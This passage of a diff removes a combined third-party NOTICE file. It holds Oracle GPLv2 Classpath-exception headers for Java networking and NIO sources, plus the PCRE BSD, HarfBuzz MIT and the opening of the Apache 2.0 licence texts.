-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2012, 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright (c) 2013, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-Copyright 2015 Google Inc.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Google designates this
-particular file as subject to the "Classpath" exception as provided
-by Google in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
--------------------------------------------------------------------
-
-Licensed Materials - Property of IBM
-
-(C) Copyright IBM Corp. 1999 All Rights Reserved.
-(C) IBM Corp. 1997-1998.  All Rights Reserved.
-
-The program is provided "as is" without any warranty express or
-implied, including the warranty of non-infringement and the implied
-warranties of merchantibility and fitness for a particular purpose.
-IBM will not be liable for any damages suffered by you as a result
-of using the Program. In no event will IBM be liable for any
-special, indirect or consequential damages or lost profits even if
-IBM has been advised of the possibility of their occurrence. IBM
-will not be liable for any third party claims against you.
-
--------------------------------------------------------------------
-
-is licensed under the same terms.  The copyright and license information
-for java/net/Inet4AddressImpl.java follows.
-
-Copyright (c) 2002, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-licensed under the same terms. The copyright and license information for
-java/net/PlainDatagramSocketImpl.java follows.
-
-Copyright (c) 2007, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-licensed under the same terms. The copyright and license information for
-java/net/PlainSocketImpl.java follows.
-
-Copyright (c) 2007, 2008, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-licensed under the same terms. The copyright and license information for
-sun/nio/ch/FileChannelImpl.java follows.
-
-Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-licensed under the same terms. The copyright and license information for
-sun/nio/ch/FileDispatcherImpl.java follows.
-
-Copyright (c) 2000, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-licensed under the same terms. The copyright and license information for
-sun/nio/ch/InheritedChannel.java follows.
-
-Copyright (c) 2003, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-licensed under the same terms. The copyright and license information for
-sun/nio/ch/ServerSocketChannelImpl.java follows.
-
-Copyright (c) 2000, 2012, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-same terms. The copyright and license information for sun/nio/ch/Net.java
-follows.
-
-Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-the same terms. The copyright and license information for
-java/io/FileSystem.java follows.
-
-Copyright (c) 1998, 2005, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-the same terms. The copyright and license information for
-java/lang/Long.java follows.
-
-Copyright (c) 1994, 2009, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-the same terms. The copyright and license information for
-sun/nio/ch/IOStatus.java follows.
-
-Copyright (c) 2002, 2003, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-under the same terms. The copyright and license information for
-java/io/UnixFileSystem.java follows.
-
-Copyright (c) 1998, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-under the same terms. The copyright and license information for
-java/lang/Integer.java follows.
-
-Copyright (c) 1994, 2010, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-under the same terms. The copyright and license information for
-java/net/NetworkInterface.java follows.
-
-Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-under the same terms. The copyright and license information for
-java/net/SocketOptions.java follows.
-
-Copyright (c) 1996, 2006, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-under the same terms. The copyright and license information for
-java/util/zip/ZipFile.java follows.
-
-Copyright (c) 1995, 2011, Oracle and/or its affiliates. All rights reserved.
-DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
-
-This code is free software; you can redistribute it and/or modify it
-under the terms of the GNU General Public License version 2 only, as
-published by the Free Software Foundation.  Oracle designates this
-particular file as subject to the "Classpath" exception as provided
-by Oracle in the LICENSE file that accompanied this code.
-
-This code is distributed in the hope that it will be useful, but WITHOUT
-ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
-FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License
-version 2 for more details (a copy is included in the LICENSE file that
-accompanied this code).
-
-You should have received a copy of the GNU General Public License version
-2 along with this work; if not, write to the Free Software Foundation,
-Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
-
-Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
-or visit www.oracle.com if you need additional information or have any
-questions.
-
--------------------------------------------------------------------
-
-======================================================================
-external/pcre/NOTICE
-
-PCRE LICENCE
-------------
-
-PCRE is a library of functions to support regular expressions whose syntax
-and semantics are as close as possible to those of the Perl 5 language.
-
-Release 8 of PCRE is distributed under the terms of the "BSD" licence, as
-specified below. The documentation for PCRE, supplied in the "doc"
-directory, is distributed under the same terms as the software itself.
-
-The basic library functions are written in C and are freestanding. Also
-included in the distribution is a set of C++ wrapper functions, and a
-just-in-time compiler that can be used to optimize pattern matching. These
-are both optional features that can be omitted when the library is built.
-
-
-THE BASIC LIBRARY FUNCTIONS
----------------------------
-
-Written by:       Philip Hazel
-Email local part: ph10
-Email domain:     cam.ac.uk
-
-University of Cambridge Computing Service,
-Cambridge, England.
-
-Copyright (c) 1997-2014 University of Cambridge
-All rights reserved.
-
-
-PCRE JUST-IN-TIME COMPILATION SUPPORT
--------------------------------------
-
-Written by:       Zoltan Herczeg
-Email local part: hzmester
-Emain domain:     freemail.hu
-
-Copyright(c) 2010-2014 Zoltan Herczeg
-All rights reserved.
-
-
-STACK-LESS JUST-IN-TIME COMPILER
---------------------------------
-
-Written by:       Zoltan Herczeg
-Email local part: hzmester
-Emain domain:     freemail.hu
-
-Copyright(c) 2009-2014 Zoltan Herczeg
-All rights reserved.
-
-
-THE C++ WRAPPER FUNCTIONS
--------------------------
-
-Contributed by:   Google Inc.
-
-Copyright (c) 2007-2012, Google Inc.
-All rights reserved.
-
-
-THE "BSD" LICENCE
------------------
-
-Redistribution and use in source and binary forms, with or without
-modification, are permitted provided that the following conditions are met:
-
-    * Redistributions of source code must retain the above copyright notice,
-      this list of conditions and the following disclaimer.
-
-    * Redistributions in binary form must reproduce the above copyright
-      notice, this list of conditions and the following disclaimer in the
-      documentation and/or other materials provided with the distribution.
-
-    * Neither the name of the University of Cambridge nor the name of Google
-      Inc. nor the names of their contributors may be used to endorse or
-      promote products derived from this software without specific prior
-      written permission.
-
-THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
-AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
-IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
-ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
-LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
-CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
-SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
-INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
-CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
-ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
-POSSIBILITY OF SUCH DAMAGE.
-
-End
-
-======================================================================
-external/harfbuzz_ng/NOTICE
-
-HarfBuzz is licensed under the so-called "Old MIT" license.  Details follow.
-For parts of HarfBuzz that are licensed under different licenses see individual
-files names COPYING in subdirectories where applicable.
-
-Copyright © 2010,2011,2012  Google, Inc.
-Copyright © 2012  Mozilla Foundation
-Copyright © 2011  Codethink Limited
-Copyright © 2008,2010  Nokia Corporation and/or its subsidiary(-ies)
-Copyright © 2009  Keith Stribley
-Copyright © 2009  Martin Hosken and SIL International
-Copyright © 2007  Chris Wilson
-Copyright © 2006  Behdad Esfahbod
-Copyright © 2005  David Turner
-Copyright © 2004,2007,2008,2009,2010  Red Hat, Inc.
-Copyright © 1998-2004  David Turner and Werner Lemberg
-
-For full copyright notices consult the individual files in the package.
-
-
-Permission is hereby granted, without written agreement and without
-license or royalty fees, to use, copy, modify, and distribute this
-software and its documentation for any purpose, provided that the
-above copyright notice and the following two paragraphs appear in
-all copies of this software.
-
-IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE TO ANY PARTY FOR
-DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES
-ARISING OUT OF THE USE OF THIS SOFTWARE AND ITS DOCUMENTATION, EVEN
-IF THE COPYRIGHT HOLDER HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH
-DAMAGE.
-
-THE COPYRIGHT HOLDER SPECIFICALLY DISCLAIMS ANY WARRANTIES, INCLUDING,
-BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
-FITNESS FOR A PARTICULAR PURPOSE.  THE SOFTWARE PROVIDED HEREUNDER IS
-ON AN "AS IS" BASIS, AND THE COPYRIGHT HOLDER HAS NO OBLIGATION TO
-PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR MODIFICATIONS.
-
-======================================================================
-external/snakeyaml/NOTICE
-
-                                 Apache License
-                           Version 2.0, January 2004
-                        http://www.apache.org/licenses/
-
-   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
-
-   1. Definitions.
-
-      "License" shall mean the terms and conditions for use, reproduction,
-      and distribution as defined by Sections 1 through 9 of this document.
-
-      "Licensor" shall mean the copyright owner or entity authorized by
-      the copyright owner that is granting the License.
-
-      "Legal Entity" shall mean the union of the acting entity and all
-      other entities that control, are controlled by, or are under common
-      control with that entity. For the purposes of this definition,
-      "control" means (i) the power, direct or indirect, to cause the
-      direction or management of such entity, whether by contract or
-      otherwise, or (ii) ownership of fifty percent (50%) or more of the
-      outstanding shares, or (iii) beneficial ownership of such entity.
-
-      "You" (or "Your") shall mean an individual or Legal Entity
-      exercising permissions granted by this License.
-
-      "Source" form shall mean the preferred form for making modifications,
-      including but not limited to software source code, documentation
-      source, and configuration files.
-
-      "Object" form shall mean any form resulting from mechanical
-      transformation or translation of a Source form, including but
-      not limited to compiled object code, generated documentation,
-      and conversions to other media types.
-
-      "Work" shall mean the work of authorship, whether in Source or
-      Object form, made available under the License, as indicated by a
-      copyright notice that is included in or attached to the work
-      (an example is provided in the Appendix below).
-
-      "Derivative Works" shall mean any work, whether in Source or Object
-      form, that is based on (or derived from) the Work and for which the
-      editorial revisions, annotations, elaborations, or other modifications
-      represent, as a whole, an original work of authorship. For the purposes
-      of this License, Derivative Works shall not include works that remain
-      separable from, or merely link (or bind by name) to the interfaces of,
-      the Work and Derivative Works thereof.
-
-      "Contribution" shall mean any work of authorship, including
